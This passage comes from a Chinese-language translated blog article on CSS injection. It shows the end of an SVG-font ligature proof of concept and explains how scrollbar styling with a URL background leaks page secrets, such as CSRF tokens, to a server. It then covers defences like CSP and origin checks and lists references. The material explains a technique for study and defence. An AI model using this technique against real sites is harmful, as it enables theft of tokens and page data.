<glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
</font>
</defs>
</svg>
<style>
script {
display: block;
font-family:"hack";
white-space:n owrap;
overflow-x: auto;
width: 500px;
background:lightblue;
}
script::-webkit-scrollbar {
background: blue;
}
</style>
</body>
</html>
我在脚本中添加了两段 JavaScript 代码,内容分别为var secret = “abc123″和var secret2 = “cba321″。然后,我使用 CSS 加载准备好的字体。每当出现 连字符 时”a,宽度就会变得过大。
接下来,如果滚动条出现,我会将背景设置为蓝色,以提高可见性。最终结果如下:
![图片[11]-【翻译】CSS 注入:仅使用 CSS 进行攻击-隐侠安全客栈](https://htasectest-1324274696.cos.ap-beijing.myqcloud.com/2025/06/image-23-1.png)
上面因为内容是var secret = “abc123″,所以与连字 匹配”a,所以宽度变宽,出现滚动条。
下面因为没有”a,所以滚动条没有出现(有“a”的地方是缺字符,应该和没有定义其他字形有关,但不影响结果)。
通过将滚动条的背景更改为URL,我们可以从服务器了解泄露的结果。
如果想看实际的demo以及服务端的实现,可以参考上面提到的两篇文章。
防御措施
最后说一下防御措施,最简单直接的办法就是干脆禁用样式,这样基本就能杜绝 CSS 注入的问题了(除非实现上存在漏洞)。
如果确实想允许样式,也可以使用 CSP 来阻止某些资源的加载。例如,font-src不需要完全开放,style-src也可以设置为允许列表来阻止@import语法。
此外,你还可以考虑如果页面上的内容被盗取会发生什么。例如,如果 CSRF 令牌被盗,最坏的情况就是 CSRF。这时,你可以实施更严格的防护措施来阻止 CSRF,即使攻击者获取了 CSRF 令牌,他们也无法执行 CSRF(例如,通过检查 origin 头)。
总结
CSS 真是博大精深,真是佩服这些前辈们能玩转 CSS,开发出这么多让人眼花缭乱的攻击技巧。我研究的时候,能理解用属性选择器泄露信息,也能理解用unicode-range。然而,用文本高度和 CSS 动画来改变高度,我却花了不少时间才明白是怎么回事;连字符的概念虽然简单易懂,但在实际实现时还是遇到了不少问题。
这两篇文章主要介绍了 CSS 注入攻击技术,因此实际代码并不多。这些攻击技术均参考自前辈的文章,我会在下面列出。如果有兴趣,可以阅读原文,原文会有更详细的讲解。
参考:
- CSS注入攻击
- CSS 注入原语
- HackTricks – CSS注入
- 以出色的方式窃取数据 – 如何使用 CSS 攻击 Web 应用程序。
- 通过 CSS + SVG 字体进行数据泄露
- 通过 CSS + SVG 字体进行数据泄露 – PoC(仅限 Safari)
- 通过单个注入点在 Firefox 中泄露 CSS 数据
感谢您的来访,获取更多精彩文章请收藏本站。

暂无评论内容